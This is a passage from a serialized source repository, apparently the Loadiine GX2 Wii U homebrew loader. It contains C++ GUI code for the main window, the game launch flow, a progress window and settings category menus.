OnGameLaunchMenuFinish(NULL, GameList::instance()->at(gameIdx), true);\n    }\n}\n\nvoid MainWindow::OnGameLaunchGetHeader(GuiElement *element,int gameIdx, int next)\n{\n    if(next == 1){\n        gameIdx += 1;\n    }else if (next == -1){\n        gameIdx -= 1;\n    }\n    if(gameIdx >= GameList::instance()->size()){\n        gameIdx = 0;\n    }else if(gameIdx < 0){\n        gameIdx = GameList::instance()->size() -1;\n    }\n\n    CSettings::setValueAsU16(CSettings::GameStartIndex,gameIdx);\n\n    OnExternalGameSelectionChange(gameIdx);\n    gameLauncherMenuNextClicked(element,gameIdx);\n}\n\nvoid MainWindow::OnGameLaunchMenuFinish(GuiElement *element,const discHeader *header, bool result)\n{\n    mainSwitchButtonFrame->clearState(GuiElement::STATE_DISABLED);\n    currentTvFrame->clearState(GuiElement::STATE_DISABLED);\n    if(currentTvFrame != currentDrcFrame)\n    {\n        currentDrcFrame->clearState(GuiElement::STATE_DISABLED);\n    }\n\n    if(element)\n    {\n        element->setState(GuiElement::STATE_DISABLED);\n        element->setEffect(EFFECT_FADE, -15, 0);\n        element->effectFinished.connect(this, &MainWindow::OnCloseEffectFinish);\n    }\n\n    if(result == true){\n        OnGameLaunch(header);\n    }\n    else {\n        launchingGame = false;\n    }\n}\n\nvoid MainWindow::OnGameLaunch(const discHeader *gameHdr)\n{\n    if(gameClickSound)\n        gameClickSound->Play();\n\n    log_printf(\"Loading game %s\\n\", gameHdr->name.c_str());\n\n    GameLauncher *launcher = GameLauncher::loadGameToMemoryAsync(gameHdr);\n    launcher->setEffect(EFFECT_FADE, 15, 255);\n    launcher->effectFinished.connect(this, &MainWindow::OnOpenEffectFinish);\n    launcher->asyncLoadFinished.connect(this, &MainWindow::OnGameLoadFinish);\n    append(launcher);\n}\n\nvoid MainWindow::OnGameLoadFinish(GameLauncher * launcher, const discHeader *header, int result)\n{\n    if(result == GameLauncher::SUCCESS)\n    {\n\n        if(CSettings::getValueAsBool(CSettings::GameLogServer))\n        {\n            const char * ip = CSettings::getValueAsString(CSettings::GameLogServerIp).c_str();\n            if(strlen(ip) > 0 && strlen(ip) < 16){\n                 memcpy(gServerIP,ip,strlen(ip)+1);\n            }\n            log_printf(\"FS log server on %s\\n\", CSettings::getValueAsString(CSettings::GameLogServerIp).c_str());\n        }\n        else\n        {\n            gServerIP[0] = '\\0';\n            log_printf(\"FS log server is off\\n\");\n        }\n\n\n        GAME_LAUNCHED = 1;\n        GAME_RPX_LOADED = 0;\n        LOADIINE_MODE = CSettings::getValueAsU8(CSettings::GameLaunchMethod);\n        gSettingLaunchPyGecko = CSettings::getValueAsU8(CSettings::LaunchPyGecko);\n        gSettingPadconMode= CSettings::getValueAsU8(CSettings::PadconMode);\n        //! load HID settings\n        gHIDPADEnabled = CSettings::getValueAsU8(CSettings::HIDPadEnabled);\n        gHIDPADRumble = CSettings::getValueAsU8(CSettings::HIDPadRumble);\n        gHIDPADNetwork = CSettings::getValueAsU8(CSettings::HIDPadNetwork);\n        gEnableDLC = 0;\n\n\t\tGameSettings gs;\n\t\tbool result = CSettingsGame::getInstance()->LoadGameSettings(header->id,gs);\n\t\tif(result){\n\t\t\tswitch(gs.launch_method){\n\t\t\t\tcase LOADIINE_MODE_DEFAULT:\n\t\t\t\t\tlog_printf(\"Using launch method from Settings\\n\");\n\t\t\t\t\tbreak; //leave it from settings\n\t\t\t\tcase LOADIINE_MODE_MII_MAKER:\n\t\t\t\t\tlog_printf(\"Using Mii Maker cfg\\n\");\n\t\t\t\t\tLOADIINE_MODE = LOADIINE_MODE_MII_MAKER;\n\t\t\t\t\tbreak;\n\t\t\t\tcase LOADIINE_MODE_SMASH_BROS:\n\t\t\t\t\tlog_printf(\"Using Super Smash Bros cfg\\n\");\n\t\t\t\t\tLOADIINE_MODE = LOADIINE_MODE_SMASH_BROS;\n\t\t\t\t\tbreak;\n\t\t\t\tcase LOADIINE_MODE_KARAOKE:\n\t\t\t\t\tlog_printf(\"Using KARAOKE BY U Joysound cfg\\n\");\n\t\t\t\t\tLOADIINE_MODE = LOADIINE_MODE_KARAOKE;\n\t\t\t\t\tbreak;\n\t\t\t\tcase LOADIINE_MODE_ART_ATELIER:\n\t\t\t\t\tlog_printf(\"Using Art Academy Atelier cfg\\n\");\n\t\t\t\t\tLOADIINE_MODE = LOADIINE_MODE_ART_ATELIER;\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tlog_printf(\"No valid value found. Using launch method from settings\\n\");\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tgEnableDLC = gs.EnableDLC;\n\t\t}\n        Application::instance()->quit();\n    }\n    else {\n        launchingGame = false;\n    }\n\n    mainSwitchButtonFrame->resetState();\n    if(currentTvFrame)\n        currentTvFrame->resetState();\n    if(currentDrcFrame)\n        currentDrcFrame->resetState();\n\n    launcher->setState(GuiElement::STATE_DISABLED);\n    launcher->setEffect(EFFECT_FADE, -15, 0);\n    launcher->effectFinished.connect(this, &MainWindow::OnCloseEffectFinish);\n}\n\nvoid MainWindow::OnGameSelectionChange(GuiGameBrowser *element, int selectedIdx)\n{\n    if(!currentDrcFrame || !currentTvFrame)\n        return;\n\n    if(element == currentDrcFrame && currentDrcFrame != currentTvFrame)\n        currentTvFrame->setSelectedGame(selectedIdx);\n    else if(element == currentTvFrame && currentDrcFrame != currentTvFrame)\n        currentDrcFrame->setSelectedGame(selectedIdx);\n}\n\nvoid MainWindow::OnExternalGameSelectionChange(int selectedIdx)\n{\n    currentTvFrame->setSelectedGame(selectedIdx);\n    if(currentDrcFrame != currentTvFrame)\n    {\n        currentDrcFrame->setSelectedGame(selectedIdx);\n    }\n}\n\nvoid MainWindow::OnImageDownloadClicked(GuiElement *element)\n{\n    mainSwitchButtonFrame->setState(GuiElement::STATE_DISABLED);\n    if(currentTvFrame)\n        currentTvFrame->setState(GuiElement::STATE_DISABLED);\n    if(currentDrcFrame)\n        currentDrcFrame->setState(GuiElement::STATE_DISABLED);\n\n    GameImageDownloader *downloader = new GameImageDownloader();\n    downloader->setEffect(EFFECT_FADE, 15, 255);\n    downloader->effectFinished.connect(this, &MainWindow::OnOpenEffectFinish);\n    downloader->asyncLoadFinished.connect(this, &MainWindow::OnImageDownloadFinish);\n    downloader->startDownloading();\n    append(downloader);\n}\n\nvoid MainWindow::OnImageDownloadFinish(GameImageDownloader *downloader, int fileLeft)\n{\n    mainSwitchButtonFrame->resetState();\n    if(currentTvFrame)\n        currentTvFrame->resetState();\n    if(currentDrcFrame)\n        currentDrcFrame->resetState();\n\n    downloader->setState(GuiElement::STATE_DISABLED);\n    downloader->setEffect(EFFECT_FADE, -15, 0);\n    downloader->effectFinished.connect(this, &MainWindow::OnCloseEffectFinish);\n}\n"
  },
  {
    "path": "src/menu/MainWindow.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _MAIN_WINDOW_H_\n#define _MAIN_WINDOW_H_\n\n#include <vector>\n#include <queue>\n#include \"gui/Gui.h\"\n#include \"gui/GuiGameBrowser.h\"\n#include \"game/GameList.h\"\n#include \"MainDrcButtonsFrame.h\"\n#include \"network/GameImageDownloader.h\"\n#include \"game/GameLauncher.h\"\n#include \"system/CMutex.h\"\n\nclass CVideo;\n\nclass MainWindow : public sigslot::has_slots<>\n{\npublic:\n    MainWindow(int w, int h);\n    virtual ~MainWindow();\n\n    void appendTv(GuiElement *e)\n    {\n        if(!e)\n            return;\n\n        removeTv(e);\n        tvElements.push_back(e);\n    }\n    void appendDrc(GuiElement *e)\n    {\n        if(!e)\n            return;\n\n        removeDrc(e);\n        drcElements.push_back(e);\n    }\n\n    void append(GuiElement *e)\n    {\n        appendTv(e);\n        appendDrc(e);\n    }\n\n    void insertTv(u32 pos, GuiElement *e)\n    {\n        if(!e)\n            return;\n\n        removeTv(e);\n        tvElements.insert(tvElements.begin() + pos, e);\n    }\n    void insertDrc(u32 pos, GuiElement *e)\n    {\n        if(!e)\n            return;\n\n        removeDrc(e);\n        drcElements.insert(drcElements.begin() + pos, e);\n    }\n\n    void insert(u32 pos, GuiElement *e)\n    {\n        insertTv(pos, e);\n        insertDrc(pos, e);\n    }\n\n    void removeTv(GuiElement *e)\n    {\n        for(u32 i = 0; i < tvElements.size(); ++i)\n        {\n            if(e == tvElements[i])\n            {\n                tvElements.erase(tvElements.begin() + i);\n                break;\n            }\n        }\n    }\n    void removeDrc(GuiElement *e)\n    {\n        for(u32 i = 0; i < drcElements.size(); ++i)\n        {\n            if(e == drcElements[i])\n            {\n                drcElements.erase(drcElements.begin() + i);\n                break;\n            }\n        }\n    }\n\n    void remove(GuiElement *e)\n    {\n        removeTv(e);\n        removeDrc(e);\n    }\n    void removeAll()\n    {\n        tvElements.clear();\n        drcElements.clear();\n    }\n\n    void drawDrc(CVideo *video);\n    void drawTv(CVideo *video);\n    void update(GuiController *controller);\n    void updateEffects();\n\n    void lockGUI()\n    {\n        guiMutex.lock();\n    }\n    void unlockGUI()\n    {\n        guiMutex.unlock();\n    }\n\n    sigslot::signal2<GuiElement *,int> gameLauncherMenuNextClicked;\nprivate:\n    void SetupMainView(void);\n\n    void OnOpenEffectFinish(GuiElement *element);\n    void OnCloseEffectFinish(GuiElement *element);\n    void OnLayoutSwitchClicked(GuiElement *element);\n    void OnLayoutSwitchEffectFinish(GuiElement *element);\n\n    void OnGameLaunchMenu(GuiGameBrowser *element, int gameIdx);\n    void OnGameLaunchMenuFinish(GuiElement *element,const discHeader *header, bool result);\n\n    void OnGameLaunchGetHeader(GuiElement *element,int gameIdx, int next);\n\n    void OnGameLaunch(const discHeader *gameHdr);\n    void OnGameSelectionChange(GuiGameBrowser *element, int selectedIdx);\n    void OnExternalGameSelectionChange(int selectedIdx);\n\n    void OnSettingsButtonClicked(GuiElement *element);\n    void OnSettingsQuit(GuiElement *element);\n\n    void OnGameLoadFinish(GameLauncher*, const discHeader *header, int result);\n\n    void OnImageDownloadClicked(GuiElement *element);\n    void OnImageDownloadFinish(GameImageDownloader *downloader, int fileLeft);\n\n    int width, height;\n    std::vector<GuiElement *> drcElements;\n    std::vector<GuiElement *> tvElements;\n\n    GuiSound *gameClickSound;\n\n    MainDrcButtonsFrame *mainSwitchButtonFrame;\n\n    GuiGameBrowser * currentTvFrame;\n    GuiGameBrowser * currentDrcFrame;\n\n    GuiImageData *pointerImgData[4];\n    GuiImage *pointerImg[4];\n    bool pointerValid[4];\n    bool launchingGame;\n\n    CMutex guiMutex;\n};\n\n#endif //_MAIN_WINDOW_H_\n"
  },
  {
    "path": "src/menu/ProgressWindow.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"ProgressWindow.h\"\n#include \"video/CVideo.h\"\n\nProgressWindow::ProgressWindow(const std::string & title)\n    : GuiFrame(0, 0)\n    , bgImageData(Resources::GetImageData(\"progressWindow.png\"))\n    , bgImage(bgImageData)\n    , progressImageBlack(bgImage.getWidth(), bgImage.getHeight()/2, (GX2Color){0, 0, 0, 255})\n    , progressImageColored(bgImage.getWidth(), bgImage.getHeight()/2, (GX2Color){0, 0, 0, 255})\n{\n    width = bgImage.getWidth();\n    height = bgImage.getHeight();\n\n    append(&progressImageBlack);\n    append(&progressImageColored);\n    append(&bgImage);\n\n    progressImageColored.setAlignment(ALIGN_TOP_LEFT);\n    progressImageColored.setImageColor((GX2Color){ 42, 159, 217, 255}, 0);\n    progressImageColored.setImageColor((GX2Color){ 42, 159, 217, 255}, 1);\n    progressImageColored.setImageColor((GX2Color){ 13, 104, 133, 255}, 2);\n    progressImageColored.setImageColor((GX2Color){ 13, 104, 133, 255}, 3);\n\n    titleText.setColor(glm::vec4(1.0f, 1.0f, 1.0f, 1.0f));\n    titleText.setFontSize(36);\n    titleText.setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    titleText.setPosition(50, 0);\n    titleText.setBlurGlowColor(5.0f, glm::vec4(0.0, 0.0, 0.0f, 1.0f));\n    titleText.setText(title.c_str());\n    append(&titleText);\n\n    progressImageColored.setParent(&progressImageBlack);\n    titleText.setParent(&progressImageBlack);\n\n    setProgress(0.0f);\n}\n\nProgressWindow::~ProgressWindow()\n{\n    Resources::RemoveImageData(bgImageData);\n}\n\nvoid ProgressWindow::setTitle(const std::string & title)\n{\n    titleText.setText(title.c_str());\n}\n\nvoid ProgressWindow::setProgress(f32 percent)\n{\n    progressImageColored.setSize(percent * 0.01f * progressImageBlack.getWidth(), progressImageColored.getHeight());\n}\n"
  },
  {
    "path": "src/menu/ProgressWindow.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _PROGRESS_WINDOW_H_\n#define _PROGRESS_WINDOW_H_\n\n#include \"gui/Gui.h\"\n\nclass ProgressWindow : public GuiFrame, public sigslot::has_slots<>\n{\npublic:\n    ProgressWindow(const std::string & titleText);\n    virtual ~ProgressWindow();\n\n    void setProgress(f32 percent);\n    void setTitle(const std::string & title);\nprivate:\n\n    GuiText titleText;\n    GuiImageData *bgImageData;\n    GuiImage bgImage;\n    GuiImage progressImageBlack;\n    GuiImage progressImageColored;\n\n    GuiTrigger touchTrigger;\n    GuiTrigger wpadTouchTrigger;\n};\n\n#endif //_PROGRESS_WINDOW_H_\n"
  },
  {
    "path": "src/menu/SettingsCategoryMenu.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"SettingsCategoryMenu.h\"\n#include \"Application.h\"\n#include \"settings/CSettings.h\"\n#include \"utils/StringTools.h\"\n#include \"KeyPadMenu.h\"\n#include \"ButtonChoiceMenu.h\"\n#include \"language/gettext.h\"\n\n#define MAX_SETTINGS_PER_PAGE 3\n\nSettingsCategoryMenu::SettingsCategoryMenu(int w, int h, const std::string & title, const SettingType * catSettings, int settingsCount)\n    : GuiFrame(w, h)\n    , categorySettings(catSettings)\n    , categorySettingsCount(settingsCount)\n    , categoryFrame(w, h)\n    , scrollbar(h - 150)\n    , buttonClickSound(Resources::GetSound(\"settings_click_2.mp3\"))\n    , backImageData(Resources::GetImageData(\"backButton.png\"))\n    , backImage(backImageData)\n    , backButton(backImage.getWidth(), backImage.getHeight())\n    , titleImageData(Resources::GetImageData(\"settingsTitle.png\"))\n    , titleImage(titleImageData)\n    , settingImageData(Resources::GetImageData(\"settingButton.png\"))\n    , settingSelectedImageData(Resources::GetImageData(\"settingSelectedButton.png\"))\n    , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)\n    , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)\n    , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true)\n    , buttonBTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_B, true)\n    , buttonUpTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_UP | GuiTrigger::STICK_L_UP, true)\n    , buttonDownTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_DOWN | GuiTrigger::STICK_L_DOWN, true)\n    , DPADButtons(w,h)\n    , updateButtons(false)\n    , selectedButtonDPAD(-1)\n{\n    currentSettingsIdx = 0;\n    currentYOffset = 0;\n\n    backButton.setImage(&backImage);\n    backButton.setAlignment(ALIGN_BOTTOM | ALIGN_LEFT);\n    backButton.clicked.connect(this, &SettingsCategoryMenu::OnBackButtonClick);\n    backButton.setTrigger(&touchTrigger);\n    backButton.setTrigger(&wpadTouchTrigger);\n    backButton.setSoundClick(buttonClickSound);\n    backButton.setEffectGrow();\n\n    titleText.setColor(glm::vec4(1.0f, 1.0f, 1.0f, 1.0f));\n    titleText.setFontSize(46);\n    titleText.setPosition(0, 10);\n    titleText.setBlurGlowColor(5.0f, glm::vec4(0.0, 0.0, 0.0f, 1.0f));\n    titleText.setText(title.c_str());\n\n    titleImage.setAlignment(ALIGN_MIDDLE | ALIGN_TOP);\n\n    settings.resize(categorySettingsCount);\n\n    for(int i = 0; i < categorySettingsCount; i++)\n    {\n        settings[i].settingImage = new GuiImage(settingImageData);\n        settings[i].settingImageSelected = new GuiImage(settingSelectedImageData);\n        settings[i].settingButton = new GuiButton(settingImageData->getWidth(), settingImageData->getHeight());\n        settings[i].settingLabel = new GuiText(tr(categorySettings[i].name), 46, glm::vec4(0.8f, 0.8f, 0.8f, 1.0f));\n\n        settings[i].settingButton->setIconOver(settings[i].settingImageSelected);\n        settings[i].settingButton->setImage(settings[i].settingImage);\n        settings[i].settingButton->setLabel(settings[i].settingLabel);\n\n        settings[i].settingButton->setPosition(0, 150 - (settings[i].settingImage->getHeight() + 30) * i);\n        settings[i].settingButton->setTrigger(&touchTrigger);\n        settings[i].settingButton->setTrigger(&wpadTouchTrigger);\n        settings[i].settingButton->setEffectGrow();\n        settings[i].settingButton->setSoundClick(buttonClickSound);\n        settings[i].settingButton->clicked.connect(this, &SettingsCategoryMenu::OnSettingButtonClick);\n        categoryFrame.append(settings[i].settingButton);\n    }\n\n    if(categorySettingsCount > MAX_SETTINGS_PER_PAGE)\n    {\n        scrollbar.SetPageSize((settingImageData->getHeight() + 30) * (categorySettingsCount - MAX_SETTINGS_PER_PAGE));\n        scrollbar.SetEntrieCount((settingImageData->getHeight() + 30) * (categorySettingsCount - MAX_SETTINGS_PER_PAGE));\n        scrollbar.setAlignment(ALIGN_CENTER | ALIGN_MIDDLE);\n        scrollbar.setPosition(500, -30);\n        scrollbar.listChanged.connect(this, &SettingsCategoryMenu::OnScrollbarListChange);\n        categoryFrame.append(&scrollbar);\n    }\n\n    // append on top\n    categoryFrame.append(&backButton);\n    categoryFrame.append(&titleImage);\n    categoryFrame.append(&titleText);\n    titleText.setParent(&titleImage);\n\n    DPADButtons.setTrigger(&buttonBTrigger);\n    DPADButtons.setTrigger(&buttonATrigger);\n    DPADButtons.setTrigger(&buttonDownTrigger);\n    DPADButtons.setTrigger(&buttonUpTrigger);\n    DPADButtons.clicked.connect(this, &SettingsCategoryMenu::OnDPADClick);\n    append(&DPADButtons);\n\n    categoryFrame.append(&DPADButtons);\n\n    append(&categoryFrame);\n}\n\nSettingsCategoryMenu::~SettingsCategoryMenu()\n{\n    for(u32 i = 0; i < settings.size(); ++i)\n    {\n        delete settings[i].settingImage;\n        delete settings[i].settingImageSelected;\n        delete settings[i].settingButton;\n        delete settings[i].settingLabel;\n    }\n    Resources::RemoveImageData(backImageData);\n    Resources::RemoveImageData(titleImageData);\n    Resources::RemoveImageData(settingImageData);\n    Resources::RemoveImageData(settingSelectedImageData);\n    Resources::RemoveSound(buttonClickSound);\n}\n\nvoid SettingsCategoryMenu::OnSettingButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    for(u32 i = 0; i < settings.size(); i++) // Touch overrides selection\n    {\n        if(button == settings[i].settingButton)\n        {\n            currentSettingsIdx = i;\n            break;\n        }\n    }\n    u32 i = currentSettingsIdx;\n\n    GuiFrame *menu = NULL;\n    switch(categorySettings[i].type)\n    {\n        default:\n            return;\n\n        case TypeIP: {\n            if(CSettings::getDataType(categorySettings[i].index) != CSettings::TypeString)\n                return;\n\n            KeyPadMenu *keyMenu = new KeyPadMenu(width, height, tr(categorySettings[i].name), CSettings::getValueAsString(categorySettings[i].index));\n            keyMenu->settingsBackClicked.connect(this, &SettingsCategoryMenu::OnSubMenuCloseClicked);\n            keyMenu->settingsOkClicked.connect(this, &SettingsCategoryMenu::OnKeyPadOkClicked);\n            menu = keyMenu;\n            break;\n        }\n        case Type2Buttons:\n        case Type3Buttons:\n        case Type4Buttons: {\n            int buttonCount = Type2Buttons + (categorySettings[i].type - Type2Buttons + 1);\n            int buttonSelected = 0;\n\n            switch(CSettings::getDataType(categorySettings[i].index))\n            {\n            default:\n                return;\n\n            case CSettings::TypeBool:\n                buttonSelected = CSettings::getValueAsBool(categorySettings[i].index);\n                break;\n            case CSettings::TypeS8:\n                buttonSelected = CSettings::getValueAsS8(categorySettings[i].index);\n                break;\n            case CSettings::TypeU8:\n                buttonSelected = CSettings::getValueAsU8(categorySettings[i].index);\n                break;\n            case CSettings::TypeS16:\n                buttonSelected = CSettings::getValueAsS16(categorySettings[i].index);\n                break;\n            case CSettings::TypeU16:\n                buttonSelected = CSettings::getValueAsU16(categorySettings[i].index);\n                break;\n            case CSettings::TypeS32:\n                buttonSelected = CSettings::getValueAsS32(categorySettings[i].index);\n                break;\n            case CSettings::TypeU32:\n                buttonSelected = CSettings::getValueAsU32(categorySettings[i].index);\n                break;\n            }\n\n            std::vector<std::string> buttonNames;\n            for(int n = 0; n < buttonCount; n++)\n                buttonNames.push_back(tr(categorySettings[i].valueStrings[n].name));\n\n            ButtonChoiceMenu *buttonMenu = new ButtonChoiceMenu(width, height, tr(categorySettings[i].name), buttonNames, buttonSelected);\n            buttonMenu->settingsBackClicked.connect(this, &SettingsCategoryMenu::OnSubMenuCloseClicked);\n            buttonMenu->settingsOkClicked.connect(this, &SettingsCategoryMenu::OnButtonChoiceOkClicked);\n            menu = buttonMenu;\n            break;\n        }\n    }\n\n    menu->setEffect(EFFECT_FADE, 10, 255);\n    menu->setState(STATE_DISABLED);\n    menu->effectFinished.connect(this, &SettingsCategoryMenu::OnSubMenuOpenEffectFinish);\n\n    append(menu);\n\n    //! disable all current elements and fade them out with fading in new menu\n    categoryFrame.setState(STATE_DISABLED);\n    categoryFrame.setEffect(EFFECT_FADE, -10, 0);\n}\n\nvoid SettingsCategoryMenu::OnButtonChoiceOkClicked(GuiElement *element, int selectedButton)\n{\n    //! disable element for triggering buttons again\n    element->setState(GuiElement::STATE_DISABLED);\n    element->setEffect(EFFECT_FADE, -10, 0);\n    element->effectFinished.connect(this, &SettingsCategoryMenu::OnSubMenuCloseEffectFinish);\n\n    if(selectedButton >= 0)\n    {\n        int value = categorySettings[currentSettingsIdx].valueStrings[selectedButton].value;\n\n        switch(CSettings::getDataType(categorySettings[currentSettingsIdx].index))\n        {\n        default:\n            return;\n\n        case CSettings::TypeBool:\n            CSettings::setValueAsBool(categorySettings[currentSettingsIdx].index, value);\n            break;\n        case CSettings::TypeS8:\n            CSettings::setValueAsS8(categorySettings[currentSettingsIdx].index, value);\n            break;\n        case CSettings::TypeU8:\n            CSettings::setValueAsU8(categorySettings[currentSettingsIdx].index, value);\n            break;\n        case CSettings::TypeS16:\n            CSettings::setValueAsS16(categorySettings[currentSettingsIdx].index, value);\n            break;\n        case CSettings::TypeU16:\n            CSettings::setValueAsU16(categorySettings[currentSettingsIdx].index, value);\n            break;\n        case CSettings::TypeS32:\n            CSettings::setValueAsS32(categorySettings[currentSettingsIdx].index, value);\n            break;\n        case CSettings::TypeU32:\n            CSettings::setValueAsU32(categorySettings[currentSettingsIdx].index, value);\n            break;\n        }\n    }\n\n    //! fade in category selection\n    categoryFrame.setEffect(EFFECT_FADE, 10, 255);\n\n    append(&categoryFrame);\n}\n\nvoid SettingsCategoryMenu::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(trigger == &buttonATrigger)\n    {\n        //! do not auto launch when wiimote is pointing to screen and presses A\n        if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer)\n        {\n            return;\n        }\n        OnSettingButtonClick(button,controller,trigger);\n    }\n    else if(trigger == &buttonBTrigger)\n    {\n        OnBackButtonClick(button,controller,trigger);\n    }\n    else if(trigger == &buttonUpTrigger || trigger == &buttonDownTrigger)\n    {\n        if(selectedButtonDPAD == -1)\n        {\n            selectedButtonDPAD = currentSettingsIdx;\n        }\n        else\n        {\n            if(trigger == &buttonUpTrigger)\n            {\n                if(currentSettingsIdx > 0){\n                    currentSettingsIdx--;\n                }\n            }\n            else if(trigger == &buttonDownTrigger){\n                if(currentSettingsIdx < categorySettingsCount-1){\n                    currentSettingsIdx++;\n                }\n            }\n            selectedButtonDPAD = currentSettingsIdx;\n        }\n\n        scrollbar.SetSelectedItem((settingImageData->getHeight() + 30) * selectedButtonDPAD);\n        updateButtons = true;\n    }\n}\n\nvoid SettingsCategoryMenu::OnScrollbarListChange(s32 selectItem, s32 pageIndex)\n{\n    currentYOffset = selectItem + pageIndex;\n\n    for(int i = 0; i < categorySettingsCount; i++)\n    {\n        settings[i].settingButton->setPosition(0, 150 - (settings[i].settingImage->getHeight() + 30) * i + currentYOffset);\n    }\n}\n\nvoid SettingsCategoryMenu::OnKeyPadOkClicked(GuiElement *element, const std::string & newValue)\n{\n    //! disable element for triggering buttons again\n    element->setState(GuiElement::STATE_DISABLED);\n    element->setEffect(EFFECT_FADE, -10, 0);\n    element->effectFinished.connect(this, &SettingsCategoryMenu::OnSubMenuCloseEffectFinish);\n\n\n    CSettings::setValueAsString(categorySettings[currentSettingsIdx].index, newValue);\n\n    //! fade in category selection\n    categoryFrame.setEffect(EFFECT_FADE, 10, 255);\n    append(&categoryFrame);\n}\n\nvoid SettingsCategoryMenu::OnSubMenuCloseClicked(GuiElement *element)\n{\n    //! disable element for triggering buttons again\n    element->setState(GuiElement::STATE_DISABLED);\n    element->setEffect(EFFECT_FADE, -10, 0);\n    element->effectFinished.connect(this, &SettingsCategoryMenu::OnSubMenuCloseEffectFinish);\n\n    //! fade in category selection\n    categoryFrame.setEffect(EFFECT_FADE, 10, 255);\n    append(&categoryFrame);\n}\n\nvoid SettingsCategoryMenu::OnSubMenuOpenEffectFinish(GuiElement *element)\n{\n    //! make element clickable again\n    element->clearState(GuiElement::STATE_DISABLED);\n    element->effectFinished.disconnect(this);\n    //! remove category selection from settings\n    remove(&categoryFrame);\n}\n\nvoid SettingsCategoryMenu::OnSubMenuCloseEffectFinish(GuiElement *element)\n{\n    remove(element);\n    AsyncDeleter::pushForDelete(element);\n\n    //! enable all elements again\n    categoryFrame.clearState(GuiElement::STATE_DISABLED);\n}\n\nvoid SettingsCategoryMenu::update(GuiController *c)\n{\n    if(updateButtons)\n    {\n        for(int i = 0; i < categorySettingsCount; i++)\n        {\n            if(i == selectedButtonDPAD) {\n                settings[i].settingButton->setState(STATE_SELECTED);\n            }\n            else {\n                settings[i].settingButton->clearState(STATE_SELECTED);\n            }\n        }\n        updateButtons = false;\n    }\n\n    GuiFrame::update(c);\n}\n"
  },
  {
    "path": "src/menu/SettingsCategoryMenu.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _SETTINGS_CATEGORY_WINDOW_H_\n#define _SETTINGS_CATEGORY_WINDOW_H_\n\n#include \"gui/Gui.h\"\n#include \"settings/SettingsDefs.h\"\n#include \"gui/Scrollbar.h\"\n\nclass SettingsCategoryMenu : public GuiFrame, public sigslot::has_slots<>\n{\npublic:\n    SettingsCategoryMenu(int w, int h, const std::string & titleText, const SettingType * categorySettings, int settingsCount);\n    virtual ~SettingsCategoryMenu();\n\n     void update(GuiController *c);\n\n    sigslot::signal1<GuiElement *> settingsBackClicked;\nprivate:\n    void OnSettingButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnBackButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n    {\n        settingsBackClicked(this);\n    }\n\n    void 